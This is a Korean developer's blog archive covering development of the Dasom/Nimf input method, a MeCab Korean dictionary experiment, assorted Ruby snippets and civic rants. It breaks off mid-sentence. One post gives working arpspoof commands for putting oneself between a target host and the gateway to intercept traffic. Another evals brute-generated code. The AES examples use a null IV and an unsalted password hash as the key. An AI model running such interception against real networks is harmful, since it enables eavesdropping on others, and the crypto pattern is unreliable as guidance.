    다솜 프로젝트 주소 https://github.com/cogniti/dasom

그동안 끝글자 버그에 시달리다가 ibus 소스를 보게 되었습니다.
코드를 보아하니 구조가 좀 ... 거시기 하더군요.
ibus는 클라이언트 --- 서버 --- 엔진 사이의 IPC 때문에 아래처럼 어쩔 수 없이 비동기적으로 작동합니다.
(...중략...)

모두 입력기의 이름을 다솜으로 개명하였습니다

글쓴이: hodong / 작성시간: 토, 2015-05-23 00:06

입력기를 개발할 때에 모듈러 구조로 만들면서 "모두"라는 이름을 붙였었습니다.
모듈러 구조로 개발하면서 자원을 중복 소비하는 문제점과 모듈에 문제가 있을 경우, 응용 프로그램이 죽어버리는 치명적인 단점 때문에 서버 모듈 구조로 변경하면서 "모두"라는 이름이 칙칙하게 느껴져서 우분투 포럼에 "입력기 프레임워크 이름을 공모합니다." http://www.ubuntu-kr.org/forum/viewtopic.php?f=4&t=27999 라는 글을 올렸고,

입력기 프레임워크 이름을 공모합니다.

글올린이: hodong » 2015/03/30 월 11:35 pm
옛날에 유닉스를 사용할 때 한글 입력이 불편하지는 않았습니다.
그런데 이상하게도 세월이 흐르고 환경이 변화되면서 한글 입력이 점차 불편해지게 되었습니다.

현재 ibus가 리눅스용 입력기로 대세인데,,
여러 불편한 점들이 있습니다.
(...중략...)


다솜 입력기 개발 진행 상황

글쓴이: hodong / 작성시간: 토, 2015-05-23 00:29

다솜 입력기는
클라이언트용 im 라이브러리, 서버, 서버 모듈 등으로
구성되어 있습니다.

클라이언트와 서버는 완전 동기적으로 작동하여, 클라이언트에서 im 라이브러리를 호출하면 그에 대응하는 서버 모듈이 동기적으로 작동하므로 예측이 쉽고, 부작용이 없습니다.
한글 입출력이 잘 되고 있습니다.

dasom 서버가 xim 서버의 역할도 수행합니다. 하나의 프로세스에 두 가지 서버가 작동하는 하이브리드 서버입니다.

앞으로 할 일은
후보창, 상태창
입니다.
후보창과 상태창은 서버측에서 작동하게 만들 것입니다.

상태창은 사용자 편의를 위해 데스크탑 환경에 통합될 수 있도록 각각의 환경에 대해 애플릿 형태로 만드는 것이 좋을 듯합니다.
이렇게 되면 상태창은 다솜 서버와는 별개의 프로세스로 작동하므로 다솜 서버와 통신해야 합니다.

후보창은... 고려해 볼 것이 있습니다.

1. 다솜 서버 프로세스에서 작동하는 방식
(...중략...)

다솜 입력기 구조 (초안)

글쓴이: hodong / 작성시간: 일, 2015-05-31 20:37

Architecture for Dasom Input Method Framework (draft)
-----------------------------------------------------

      +- a process ---+    +----- a process -------+  +- a process --+
      | gtk im module |    | gnome-shell-extension |  |   X server   |
      +---------------+    +-----------------------+  +--------------+
              |                        |                     ^ |
              | calls                  | calls               | |
              |                        |                     | |
    +------------------+    +---------------------+          | |

(...중략...)

다솜 입력기 소스를 조기에 공개할까 합니다.

글쓴이: hodong / 작성시간: 수, 2015-06-03 00:41

어휴 답답한 정부...
메르스 발생 지역, 발생 병원을 공개해야 사람들이 피하고 주의하지...
그래야 확산이 줄어들지...
정부가 병원 수익을 왜 걱정하냐. 탄저균에 메르스에 우리들은 언제 죽을지 모르는 파리 목숨입니다.
일이 손에 잡히지도 않습니다.
입력기 소스를 미완성 상태로 공개하면 창피해서 자존심 상하고, 이거 해주셈, 저거 해주셈, 세벌식은 왜 지원 안 함? 각종 요구로 피곤해지고,
소프트웨어 출품 대회나 전시회 있으면 호시탐탐 노리는 사람들이 있을텐데...
그래서 완성된 상태로, 공개와 동시에 각종 사이트에 알림글을 올려야 하는데...
현 정권, 현 정부가 취하는 대응을 보면 무정부 상태에 있는 듯한 느낌이라... 어느날 갑자기 죽을 수도 있다는 생각이 많이 듭니다.
그래서 소스코드 조기 공개 여부를 고려하고 있습니다.

우분투 포럼에 글을 남겼습니다.
(...중략...)

다솜 입력기 테스트 버전을 준비하고 있습니다.

글쓴이: hodong / 작성시간: 토, 2015-07-04 16:24

안녕하세요...
다솜 입력기를 만들기 시작한지가 벌써 5개월 정도 지났습니다.
최근 입력기 서버 및 im 클라이언트에 있던 굵직한 버그(race condition)를 잡았습니다.
그걸 잡고 나니 focus out / focus in 이 싱크가 안 맞더군요.
자세히 살펴보니...
창이 2개가 있고, 창1에 포커스가 있을 때, 창2번을 찍으면
창1번은 focus out 신호를 발생시키고 focus out 신호에 대한 처리(reset, commit 등)가 완료되지 않아도
창2번은 바로 focus in 신호를 발생시킵니다.
아마도 윈도 관리자가 창관리를 thread로 처리할 것으로 추정됩니다. 그래서 이러한 현상이 나타나는 것 같습니다.
그래서 focus in / out 싱크 맞추기 위해 아래처럼 작성하였습니다.
(...중략...)

다솜 입력기 개발 일정 순서

글쓴이: hodong / 작성시간: 목, 2015-07-23 23:38

제가 오늘 다솜 입력기가 먹통되는 현상을 겪었습니다.ㅠㅠ

0. 오늘 발견한 먹통 현상(race condition) 해결할 것.

1. 우분투 유니티 한/영 표시기

2. 정음(한글) 엔진 설정기 --- 키 설정, 두벌식,세벌식 선택 기능.

이렇게 만들 예정입니다. 다음은 순서는 미정.
열심히 사용해 주세요.
감사합니다.
(...중략...)

다솜 입력기 개발 일정 순서2

글쓴이: hodong / 작성시간: 일, 2015-08-09 02:40

앞으로 qt4, qt5를 지원하기 위한 작업을 할 것입니다.
qt4, qt5를 지원하기 위해서는 제가 C++과 QT를 공부해야 하므로 시간이 좀 걸리겠습니다.
그 다음 작업은 미정입니다.
(...중략...)

다솜 입력기 개발 일정 순서3

글쓴이: hodong / 작성시간: 일, 2015-08-23 22:44

1. qt 환경 테스트

qt4, qt5를 지원합니다. 다만, 테스트 과정에서 다솜 서버 및 qt 어플이 정지되는 경우가 발생하여,
중복적인 set cursor location 함수 호출을 줄이고,
dasom_message_new_full() 함수에서 ref_count = 1 이 없는 것을 확인하여 이를 추가하였습니다.
다솜 서버 및 qt 어플이 정지되는지 좀 더 테스트를 해야 합니다.
제가 KDE, qt 사용자가 아니다보니 테스트를 수행하지를 못하고 있습니다.
KDE, qt 사용자 분들이 다솜 입력기를 설치하셔서 테스트를 수행해주시면 고맙겠습니다.
KDE, qt 테스트라고 해서 특별한 것은 없고 그냥 KDE, QT 환경에서 열심히 사용하시는 것이 테스트입니다.

여기까지 해결한 후에 앞으로 할 일들 --- 언제 시작할지 예정없음.

설정창, 상태창, 중국어 입력기
(...중략...)

다솜 입력기 릴리즈 준비 중입니다.

글쓴이: hodong / 작성시간: 월, 2015-09-21 01:22

안녕하세요.
그동안 다솜 입력기를 충분히 테스트하였고, 알고 있는 모든 버그를 잡았습니다.
그런데, daemonize 코드를 적용하는 중 2015년 9월 13일, gnome-terminal 사용 중 gnome-terminal 정지한 적이 있습니다.
이것은 그후 지금까지도 재현된 적이 없습니다. 그래서 다솜 버그인지 아닌지 확인조차 못했습니다.
다솜 입력기는 현재 반드시 필요한 최소한의 기능을 모두 갖추었으며 매우 안정적으로 작동하므로 이제 릴리즈를 준비하고자 합니다.
최종적으로 FIXME, TODO 를 확인하여 수정할 부분을 수정하고, 버전을 붙이고 deb 패키지를 위한 debian 파일들을 작성한 후 릴리즈를 할 것입니다.
약 1개월 전후하여 정식 출시 예정입니다.
(...중략...)

dasom (1.0) stable; urgency=medium


  * Initial Release

  * Dasom is an input method framework, which provides
    - Input Method Server including XIM
    - Language Engines for Korean, English
    - IM Modules for GTK+2, GTK+3, Qt4, Qt5
    - Indicators for GNOME Shell, Unity, KDE, GNOME panel

 -- Hodong Kim <cogniti@gmail.com>  Fri, 09 Oct 2015 01:21:10 +0900


Changed the name of project to Nimf


Author: Hodong Kim <cogniti@gmail.com>
Date:   Tue Dec 29 23:25:54 2015 +0900

nimf (2016.04.26) stable; urgency=medium


  * Initial Release

  * Nimf is an input method framework, it has a module-based client-server
    architecture where applications act as clients and communicate with the
    Nimf server via toolkit-specific input context modules and one socket per
    process.

  * Nimf provides
    + Input Method Server
      - nimf-daemon including XIM
    + Language Engines
      - Chinese:  nimf-sunpinyin (based on sunpinyin, under the development)
      - Japanese: nimf-anthy     (based on anthy, under the development)
      - Korean:   nimf-libhangul (based on libhangul)
    + Client Modules
      - GTK+2, GTK+3, Qt4, Qt5
    + Indicator
      - nimf-indicator (based on libappindicator3) for Unity, GNOME Panel, KDE
    + Development files

 -- Hodong Kim <cogniti@gmail.com>  Tue, 26 Apr 2016 06:31:55 +0900

2018년 7월 21일 토요일

MeCab을 이용한 한국어 형태소 분석과 폐쇄적인 21세기 세종 계획 성과물

이 글은 2012년 8월 5일에 작성한 글입니다.
현 시점과 맞지 않을 수 있습니다.

글쓴이: hodong / 작성시간: 일, 2012-08-05 01:37

우리는 21세기 첨단 시대에 살고 있다. 이러한 시대에 인공지능적인 재미있는 작업을 하려면 형태소 분석기는 필수적이다. 그러나, 공개되어 있는 한국어 형태소 분석기를 살펴보면 쓸만한 분석기가 별로 없다. 그나마 쓸만한 것은 한나눔이라는 형태소 분석기인데 띄어쓰기가 되지 않은 문장은 분석하지 못하고 java 언어 기반이어서 불편한 점이 있다. 그리고 꼬꼬마(kkma)라는 분석기가 있는데 공개 소프트웨어 은상까지 받고 GPL 라이선스라면서 역설적으로 소스를 구할 수가 없어(http://project.oss.kr/data/3th_source/KOKOMA.zip 파일을 열어보면 pptx 문서 파일이다.) 어처구니가 없다. 공개 소프트웨어 은상까지 받고 소스를 공개하지 않으면 상을 회수해야 하는 것 아닌가.

이러한 시점에서 우리는 일본어 형태소 분석기 MeCab 에 주목할 필요가 있다.
http://mecab.googlecode.com/svn/trunk/mecab/doc/index.html

MeCab의 특징

언어, 사전 코퍼스에 의존하지 않는 범용적인 설계
품사 독립적 설계
CRF 채용하여 HMM 보다 성능 향상
CRF 값 추정 가능
Double-Array TRIE
각종 스크립트 언어 바인딩 (perl / ruby​​ / python / java / C#)

MeCab 설명서를 좀 읽어보니 일본어뿐만 아니라 한국어 사전만 있으면 한국어 형태소 분석도 가능할 것처럼 보여 "나는 밥을 먹었다"를 분석할 수 있는 아주 간단한 한국어 형태소 분석용 사전을 만들어보았는데 정상적으로 돌아가는 것 같다.

cogniti@debian:~/projects/kdic$ make
/usr/lib/mecab/mecab-dict-index -d . -c UTF-8 -t UTF-8 -f UTF-8
reading ./unk.def ... 43
emitting double-array: 100% |###########################################|
reading ./word.csv ... 6
emitting double-array: 100% |###########################################|
reading ./matrix.def ... 1509x1509
emitting matrix      : 100% |###########################################|

done!

cogniti@debian:~/projects/kdic$ mecab -d .
나는 밥을 먹는다
나 대명사,*,*,*,*,*,*,*
는 조사,주격조사,*,*,*,*,*,*
밥 명사,일반명사,*,*,*,*,*,*
을 조사,목적격조사,*,*,*,*,*,*
먹는다 동사,*,*,*,*,*,*,*
EOS


루비 바인딩도 있어서 편하다.

# coding: utf-8
require 'MeCab'
m = MeCab::Tagger.new ("-d .")
print m.parse ("나는 밥을 먹는다")



국민 세금으로 개발한 21세기 세종 계획의 성과물(말뭉치, 전자사전)은 폐쇄적이다.


비공개 한국어 형태소 분석기들은 대학별로 각개 개발을 하는 것처럼 보이고 폐쇄성은 이루 말할 것도 없다. 언어를 폐쇄적으로 연구하면 연구가 잘 될까? 그에 반하여 영어(스탠포드), 일본어의 경우 기관 또는 대학들에서 소스까지 공개해주고 있다. 품질도 우수하다.

21세기 세종 계획의 일환으로 국민의 세금을 들여서 만든 지능형 형태소 분석기는 소스는 제공되지 않고 중요한 사전 파일은 암호화되어 있는 듯 했다. 이로 미루어볼 때 국민의 세금으로 만든 형태소 분석용 사전을 절대 공개할 수 없다는 입장인 것 같다. 하긴 말뭉치(corpus) 구하는 것도 쉽진 않다. 회원 가입해야 받을 수 있다고 하여 회원 가입을 하였건만 21세기 세종 계획의 성과물 배포 링크는 작동되지 않았고 국립국어원 측에서는 이를 알고도 고쳐주지 않고 있다.

2010-03-21 공지사항: 성과물 배포 시스템의 내려받기 기능 오류 및 대체 방안
현재 21세기 세종계획 성과물 관리 시스템(http://www.korean.go.kr/sejong/)의 내려받기 기능이 제대로 작동하지 않고 있습니다. 불편을 끼쳐 드려서 죄송합니다. 조만간 내려받기 기능이 정상적으로 작동할 수 있도록 노력하겠습니다.

2012-01-02 공지사항: 국립국어원에서는 21세기 세종계획 최종 성과물 수정판(2011년 12월 제작)을 배포하고 있습니다. 21세기 세종계획 성과물이 필요하신 분은 국어원에 내방하시어 약정서 작성 후 직접 받아가시거나 다음과 같이 신청하여 이메일이나 팩스가 아닌 우편으로 주시면 보내드리겠습니다.


약정서를 작성해서 국립국어원으로 보내면 DVD를 보내 준다고는 하는데... 21세기에 가당키나 한 말인가? 그 약정서라는 것이 hwp 파일로 되어 있어서 읽어보지 못했는데 아마 이상한 내용이 있을 것으로 짐작된다. 무슨 말이냐면 형태소 분석기가 돌아가려면 말뭉치를 분석하여 만든 형태소 분석용 사전이 있어야 되는데 형태소 분석기라는 프로그램을 배포하면서 이 사전을 배포하지 못하는 듯하다.

21세기 세종계획 성과물 신청 양식을 보면 이런 조항이 있다.

제3조. 을은 갑으로부터 제공받은 자료가 어떠한 이유에서든지 유출되어 문제가 발생하였을 경우 전적으로 민, 형사상의 모든 법적 책임을 부담한다.

어처구니가 없는 조항이다. 자기들(갑)은 이미 국립국어원 홈페이지 검색과 DVD 로 유출하고 있지 않은가? 유출이 되어서는 안 되는 자료라면 왜 DVD로 보내줄까. 참 이상한 사람들이다.


인터넷에서 쉽게 구할 수 있는 공개된 일본어 말뭉치(corpus)


일본의 경우 형태소 분석용으로 다양한 사전이 존재한다. ipadic, naist-dic, juman-dic, unidic 등이 있는데, 모두 공개되어 있다. 이중 naist-dic 은 BSD 라이선스와 유사하다.
그리고 영어,일본어 말뭉치(corpus)는 공개되어 있어서 통째로 인터넷에서 쉽게 구할 수 있다.

교토 텍스트 코퍼스


Tanaka Corpus http://www.edrdg.org/wiki/index.php/Tanaka_Corpus#Downloads

http://corpus.kanji.zinbun.kyoto-u.ac.jp/cgi-bin/gitweb.cgi?p=corpus/mecab-kanbun.git;a=summary

그에 반하여 한국어 말뭉치는 공개되지 않아서 쉽게 구할 수 없다. 한국어 말뭉치와 사전의 폐쇄성 때문에 한국어 형태소 분석기의 품질이 MeCab에 비하여 크게 떨어지는 것은 아닐까?

결론

사전 제작은 개인이 하기 매우 방대한 분량인 만큼 문화체육관광부와 국립국어원에서 '21세기 세종 계획'의 일환인 말뭉치를 BSD 또는 GPL 또는 GFDL 또는 CCL 라이선스 등으로 일반에 전격 개방해준다면 MeCab용 한국어 형태소 분석용 사전 제작이 가능하리라 본다.

스니핑(sniffing)

2011년 8월 8일 월요일

스니핑(sniffing)은 패킷을 감청하는 것을 의미한다.
허브에 PC1~PC8까지 연결되어 있다고 할 경우,
그 중 임의의 컴퓨터에서 자신을 포함한 다른 컴퓨터에서 보내는 패킷을 감청할 수 있다.
자신의 랜카드가 promiscuous 모드를 지원한다면, wireshark 로 보면 된다.
자신의 랜카드가 promiscuous 모드를 지원하지 않을 경우에는 wireshark로 보면 자신의 것밖에는 보이지 않는다. 이 경우, arpspoof 를 이용한다. arpspoof 는 dsniff 패키지에 들어있다.

apt-get install dsniff

# ip forward 기능 활성화
echo 1 > /proc/sys/net/ipv4/ip_forward

# gateway ip: 192.168.10.1 또는 192.168.1.1, 게이트웨이 IP는 다를 수 있다.
# 목표물 ip: 192.168.10.5
arpspoof -t 192.168.10.5 192.168.10.1 &
arpspoof -t 192.168.10.1 192.168.10.5 &


이렇게 하면 공격자가 목표물과 gateway 사이에 끼어들게 된다.

목표물(192.168.10.5) -- 공격자 -- gateway -- 외부 네트워크

따라서 패킷 감청, 변조가 가능하다. ngrep, wireshark 등의 프로그램으로 패킷을 감청할 수 있다.
작업을 끝낸 후에는 killall arpspoof 명령으로 위의 프로세스를 죽이도록 하자.

가중치가 붙은 랜덤(weighted random)

2011년 5월 9일 월요일

가중치에 따라서 임의로 자료를 출력하는 소스이다.

# 아래처럼 가중치가 붙은 자료가 있다.
data1 = 1; w1 = 0.2
data2 = 2; w2 = 0.3
data3 = 3; w3 = 0.5

r = rand()

# r의 값의 범위는 0.0 <= r < 1.0 이다.
# 이것을 선형(linear)으로 표현할 수 있다.

# w11 = w1 = 0.2
# w22 = w1 + w2 = 0.5
# w33 = w1 + w2 + w3 = 1.0

#      w11    w22        w33
#      0.2    0.5        1.0
#  +----+------+----------+
# 0.0      r             1.0

#   0 <= r < w11 이면 data1 을 출력
# w11 <= r < w22 이면 data2 을 출력
# w22 <= r < w33 이면 data3 을 출력

if r < w1
    puts data1
elsif r < w1 + w2
    puts data2
elsif r < w1 + w2 + w3
    puts data3
end

# 아래처럼 써먹을 수도 있다.

r = rand
[[data1, w1], [data2, w2], [data3, w3]].each do |data, w|
    if r < w
        puts data
        break
    end
    r = r - w
end

공인인증서 = 짐승표 ?

2011년 3월 31일 목요일

보안계시록 13장 16~18절


16. 그가 모든 자 곧 작은 자나 큰 자나 부자나 가난한 자나 자유인이나 종들에게 그 핸드폰에나 PC에 공인인증서를 받게 하고
17. 누구든지 이 공인인증서를 가진 자 외에는 매매를 못하게 하니 이 공인인증서는 곧 짐승의 이름이나 그 이름의 수라
18. 지혜가 여기 있으니 총명한 자는 그 짐승의 수를 세어 보라 그것은 사람의 수니 그의 수는 육백육십육이니라

요한계시록 13장 [개역개정]


16. 그가 모든 자 곧 작은 자나 큰 자나 부자나 가난한 자나 자유인이나 종들에게 그 오른손에나 이마에 표를 받게 하고
17. 누구든지 이 표를 가진 자 외에는 매매를 못하게 하니 이 표는 곧 짐승의 이름이나 그 이름의 수라
18. 지혜가 여기 있으니 총명한 자는 그 짐승의 수를 세어 보라 그것은 사람의 수니 그의 수는 육백육십육이니라


ASCII 값을 합해보니 666 값이 나옵니다.

("KOREA" + "KISA").sum
#=> 666
("KISA" + "PKI" + "IE").sum
#=> 666



다음은 666 검출 코드입니다.ㅋㅋㅋㅋ

# !/usr/bin/ruby
# detect 666 in names combination
def detect666 names
    (1..names.length).each do |n|
        sums = []
        names.combination(n).each do |comb|
            sum = comb.join.sum
            p comb if sum == 666
            sums << sum
        end
        break if sums.min > 666
    end
end

names = ['KOREA', 'MOPAS', 'KISA', 'KCC',
         'ETRI', 'FSS', 'PKI', 'IE', 'SEED']

detect666 names

암호화

2011년 3월 29일 화요일

해시값 생성

해시값은 digest 라고 불리기도 한다.

#!/usr/bin/ruby

require 'digest/md5'

s = "hello"
puts Digest::MD5.digest(s)
puts Digest::MD5.hexdigest(s)
puts Digest::MD5.base64digest(s) # 1.9.1



Cipher 를 사용한 AES 암호화 예제

# coding: utf-8
require 'openssl'
require 'digest'

# setup
password = 'password'
key = Digest::SHA256.digest password

# encrypt
encipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
encipher.encrypt

# key 길이가 같아야 한다. 길이가 클 경우 큰 부분이 무시되므로 안전하지 않다
# 여기서는 항상 같다
if encipher.key_len == key.length
    encipher.key = key
else
    raise "key length mismatch"
end

# iv 을 설정하지 않을 경우 기본값으로 null 값이 할당된다.
# iv = "\x00" * iv_len

encrypted_text = encipher.update('This is a message.')
encrypted_text << encipher.final

# decrypt
decipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
decipher.decrypt
decipher.key = key
decrypted_text = decipher.update(encrypted_text)
decrypted_text << decipher.final


사용하기 편리하게 String 클래스에 합체해보자.

# coding: utf-8
class String
    # iv 을 설정하지 않을 경우 기본값으로 null 값이 할당된다.
    # iv = "\x00" * iv_len
    def encrypt password
        encipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
        encipher.encrypt
        encipher.key = Digest::SHA256.digest password
        encrypted_text = encipher.update(self)
        encrypted_text << encipher.final
    end

    def decrypt password
        decipher = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
        decipher.decrypt
        decipher.key = Digest::SHA256.digest password
        decrypted_text = decipher.update self
        decrypted_text << decipher.final
        decrypted_text.force_encoding("utf-8")
    end
end

encrypted_string = "암호화 테스트입니다.".encrypt("password")
decrypted_string = encrypted_string.decrypt("password")

p [encrypted_string, decrypted_string]

소스 생성기

2011년 3월 29일 화요일

경우의 수대로 자동으로 소스 코드를 생성하는 프로그램은 BNF와 통계 DB를 둠으로써 실행 가능한 파일을 생성하도록 만들 수 있으리라 생각한다.
시스템 보호는 가상화 시스템을 통하여 보호할 수 있으며 컴파일과 프로세스 생성은 시스템 라이브러리로 해결되고 기계 학습 개념을 심어주면 놀라운 프로그램이 만들어질 것으로 생각된다.
많은 과학자들은 인간의 단편적인 기능 위주로 연구를 하였는데 여기서는 아래와 같은 단순 코드에서부터 출발한다.
인간이 직접 스스로를 연구하면서 인간의 지능을 구현하는 것은 매우 비효율적이라 생각된다.
인간의 학습능력은 어떻게 구현하겠는가?
모든 것이 학습이 되어 있는 성인의 지능을 흉내내는 방법보다는 갓난 아이의 기본틀을 만들어서 학습하게 하는 방법이 좋다고 생각한다.
아래의 코드를 수정을 하여 그렇게 하게 만들 수 있으리라 생각한다.
인간의 기본적인 특징과 상호 작용을 파악하여 그 부분을 집중적으로 경우의 수로 풀어놓는다면 가능한 것, 가능하지 않은 것에 대한 통계 자료가 DB에 축적될 것이고 그 통계 자료를 참고하여 목적에 좀 더 가까워질 수 있으리라 생각한다.

이러한 경우를 예를 들 수 있다.
경우의 수대로 자동으로 소스 코드를 생성하는 프로그램을 만들어서 실행시킨다면 언젠가는 인공지능 코드도 나오지 않을까? 언젠가는 지금 사용하는 시스템과 똑같은 운영체제 등이 나오지 않을까? 비스타와 똑같은 소스가 언제가는 나오지 않을까?
그런 결과가 나오기까지는 많은 제약이 따르지만 확률상 가능하다.

require 'gdbm'

letters = (' '..'~').collect(&:chr)
index = 0
R_RANGE = 1..3

# n = letters.length #=> 95
# nΠr = n ** r
# 경우의 수 = 95 ** r
# 1..3 까지의 중복조합 경우의 수 = 95**1 + 95**2 + 95**3 = 866495

dbm = GDBM.open("code.db")

for r in R_RANGE
    # 중복 순열
    letters.repeated_permutation(r).each do |arr|
        code = arr.join
        begin
            eval code
            # msg = `ruby -ce #{code}`
            # raise if msg != "Syntax OK\n"
        rescue Exception => e
            #STDERR.puts "#{code}: #{e.message}"
        else
            #puts "SUCCESS: " + code
            dbm[index.to_s] = code
            index += 1
        end
    end
end

dbm.close


위의 코드로부터 악성코드나 바이러스나 시스템을 파괴하는 소스도 생성될 수 있다. 이를테면 `rm -rf /` 같은 코드가 실행될 수 있다는 말이다. 위의 소스 생성기를 가동하려면 문제점을 건너뛸 수 있는 안전성이 확보되어야 한다.
그리고 하드웨어가 많이 발전하였지만 의미있는 결과물이 나오기까지 엄청난 시간이 소요될 수 있다.
병렬 처리를 하면 시간이 단축될 것이고 시스템을 파괴하는 부분에 있어서는 가상 환경을 이용하면 될 것이다.

위와 같은 확률, 통계에 기반한 방법으로 스스로 복제, 생성, 진화하는 프로그램이 나온다면 세계의 네트워크를 장악하여 중앙 컴퓨터에서 지구상의 일들을 모두 통제하는 시스템이 만들어질지도 모른다.
경우의 수로 소스 코드를 만들어서 실행하는 것이므로 인간이 생각할 수 있는 모든 경우가 만들어질 것이다. 그 시스템에 기계를 제작할 수 있는 로봇을 제어할 수 시스템을 연결해 준다면 진화하는 로봇이 만들어질지도...

수억년 동안 위의 소스 생성기가 실행된다면 인공지능은 마침내 물리 법칙을 발견하고 생물학 법칙들을 발견하여 생물을 만들어낼지도 모른다.
이러한 관점에서 생명에 대해 생각해보면 지구가 수십억년을 지나오면서 생명체가 스스로 만들어지고 진화했다고 하는 자연 발생설을 무시할 수 없다.

알 수 없는 미지의 세계 - 많은 과학자들은 연구를 하고 있다. 경우의 수대로 수십년, 수십억년을 시행 착오를 거치고 연구 결과 또한 수십년~수십억년 동안 기록된다면 상상 가능한 모든 일이 언젠가는 이루어지지 않을까.
인간의 문명은 어쩌면 확률과 통계에 따라서 발전하고 있을지도 모른다.
많은 수의 인간이 시도하고(확률) 좋은 결과(통계)에 대하여 집중적으로 시도하면 지구가 멸망하지 않는 한 모든 것이 이루어질 것이다.

전위 표기를 후위 표기로 변환(prefix to postfix)

2011년 3월 28일 월요일

#!/usr/bin/ruby
# coding: utf-8

# 전위 표기(prefix)에서 후위 표기(postfix)로 변환

prefix = '+ * / A ^ B C D E'.split # 입력된 전위 표기 배열
postfix = [] # 후위 표기 출력용 배열

index = 0 # 후위 표기 배열 인덱스
stack = [] # 연산자 스택

for element in prefix
    if element =~ /[+\-\*\/\^]/
        stack.push(element)
    else
        postfix[index] = element
        index = index + 1

        # first 는 bottom, last 는 top
        while (not stack.empty?) and (stack.last.eql? :left_done)
            raise 'error 1' if stack.pop.nil?
            postfix[index] = stack.last
            index = index + 1
            raise 'error 2' if stack.pop.nil?
        end # end of while

        stack.push(:left_done)
    end # end of case
end # end of for

p prefix.join(" ")  #=> "+ * / A ^ B C D E"
p postfix.join(" ") #=> "A B C ^ / D

성격 테스트

#!/usr/bin/ruby
# coding: utf-8

qna = [
    "'1.전혀 아니다, 2.별로 아니다, 3.중간이다, 4.약간 그렇다, 5.매우 그렇다' 중\n" +
        "1에서 5까지의 숫자로 답하시오.",
    {:q => "1. 모르는 사람에게 먼저 말을 건다"},
    {:q => "2. 다른 사람이 편안하고 행복한지 확인한다"},
    {:q => "3. 그림, 글, 음악을 창작한다"},
    {:q => "4. 모든 일을 사전에 준비한다"},
    {:q => "5. 울적하거나 우울함을 느낀다"},
    {:q => "6. 회식, 파티, 사교모임을 계획한다"},
    {:q => "7. 사람들을 모욕한다"},
    {:q => "8. 철학적이거나 영적인 문제들을 생각한다"},
    {:q => "9. 일이나 물건을 정리하지 않고 어지럽게 그냥 둔다"},
    {:q => "10. 스트레스나 걱정을 느낀다"},
    {:q => "11. 어려운 단어를 사용한다"},
    {:q => "12. 타인의 감정에 공감한다"}
]

puts desc = qna[0]

(1..12).each do |i|
    begin
        print qna[i][:q] + "? "
        ans = gets.to_i
        case ans
        when 1..5 then qna[i][:a] = ans
        else raise desc
        end
    rescue => e
        puts e.message
        retry
    end
end

puts "\n===== 결과 ====="
printf "외향성: %2d (%3d%%)\n", sum = qna[1][:a] +   qna[6][:a],  sum * 10
printf "신경성: %2d (%3d%%)\n", sum = qna[5][:a] +   qna[10][:a], sum * 10
printf "성실성: %2d (%3d%%)\n", sum = qna[4][:a] + 6-qna[9][:a],  sum * 10
printf("친화성: %2d (%3d%%)\n", sum = qna[2][:a] + 6-qna[7][:a] + qna[12][:a],
    (sum/15.0*100).round)
printf("개방성: %2d (%3d%%)\n", sum = qna[3][:a] + 6-qna[8][:a] + qna[11][:a],
    (sum/15.0*100).round)


해보니까..

개방성: 10 ( 67%)

나오네요 ㅋㅋㅋ

메타프로그래밍

2011년 3월 20일 일요일

enum 형을 만들었다.
메소드 included, const_missing 을 눈여겨볼 것.

module EnumType
    @@enums = {}

    def initialize const, value
        @const = const
        @value = value
    end

    def to_i
        @value
    end

    def to_s
        "#{self.class}::#{@const}"
    end

    def self.included base
        class << base
            def const_missing const
                @@enums.include?(const) ? @@enums[const] : raise(const.to_s)
            end

            def [](value)
                @@enums[value]
            end

            def enum array
                array.each_with_index do |const, value|
                    @@enums[const] = new(const, value)
                    @@enums[value] = @@enums[const]
                end
            end
        end

        base.private_class_method :new
    end
end

class GIRepositoryError
    include EnumType

    enum [:G_IREPOSITORY_ERROR_TYPELIB_NOT_FOUND,
          :G_IREPOSITORY_ERROR_NAMESPACE_MISMATCH,
          :G_IREPOSITORY_ERROR_NAMESPACE_VERSION_CONFLICT,
          :G_IREPOSITORY_ERROR_LIBRARY_NOT_FOUND
    ]
end

p GIRepositoryError[1].object_id
p GIRepositoryError[:G_IREPOSITORY_ERROR_NAMESPACE_MISMATCH].object_id
p GIRepositoryError::G_IREPOSITORY_ERROR_TYPELIB_NOT_FOUND.class
p GIRepositoryError::G_IREPOSITORY_ERROR_TYPELIB_NOT_FOUND
p GIRepositoryError::G_IREPOSITORY_ERROR_NAMESPACE_MISMATCH.object_id
p GIRepositoryError::G_IREPOSITORY_ERROR_NAMESPACE_MISMATCH


A Sponsored Dragon-Slaying


http://mislav.uniqpath.com/poignant-guide/book/chapter-6.html#section3

Metaprogramming in Ruby


http://ruby-metaprogramming.rubylearning.com/

밥통들이 보내는 액티브X 이메일 명세서와 해법


글쓴이: hodong / 작성시간: 금, 2011-03-11 02:41

요즘 이렇게 명세서가 오더군요.
제가 제안한대로 변화하고 있습니다.

어느 날, 국민건강보험공단에서 생전 오지도 않던 이메일 명세서가 왔다. 액티브X를 설치할까 말까 고민하던 중, 이메일을 스팸으로 신고해버렸다. 기관들에게 바란다. 이메일로 명세서를 보낼 것 같으면 액티브X를 버려라.

액티브X 프로그램을 작동시키는 이메일 명세서는 문제가 많다. 특정인 상대로 주민번호, 비밀번호 같은 거 빼내기 겁나게 쉽다. 명세서.pdf 파일을 zip 으로 암호걸어서 압축하여 이메일로 보내는 것이 보안성이 더욱 우수하다.

각종 국가기관, 행정기관, 공공기관, 회사들아, 명세서를 이메일로 보낼 때, 명세서.pdf 파일을 zip 프로그램으로 암호걸어서 압축하라. 암호는 사용자가 지정해 놓은 암호 같은 걸로 하면 된다.(웬만하면 주민등록번호를 암호로 사용하지 말자.) 그리고나서 그 파일을 이메일에 첨부하여 보내라.

고객은 명세서.pdf.zip 파일을 자신의 컴퓨터에 이미 설치되어 있는 zip 압축푸는 프로그램으로 풀면 된다. 이러한 방법은 모든 플랫폼(MS 윈도우, 리눅스, Mac, 안드로이드, 아이폰 등)을 지원한다.

액티브X 이메일을 보내는 밥통들아, 얼마나 간단한가.

zip 으로 암호화하는데 사용되는 알고리즘은 AES 이다.
은행에서 사용할 정도로 강력한 알고리즘이다.

다운받은 깨진 한글 파일 이름 복구하기

인터넷에서 웹 브라우저로 파일을 받으면 서버 측의 잘못된 설정으로 인하여 한글 파일 이름이 이상하게 되는 경우가 많다.

cp949 코드가 utf-8 로 둔갑된 경우


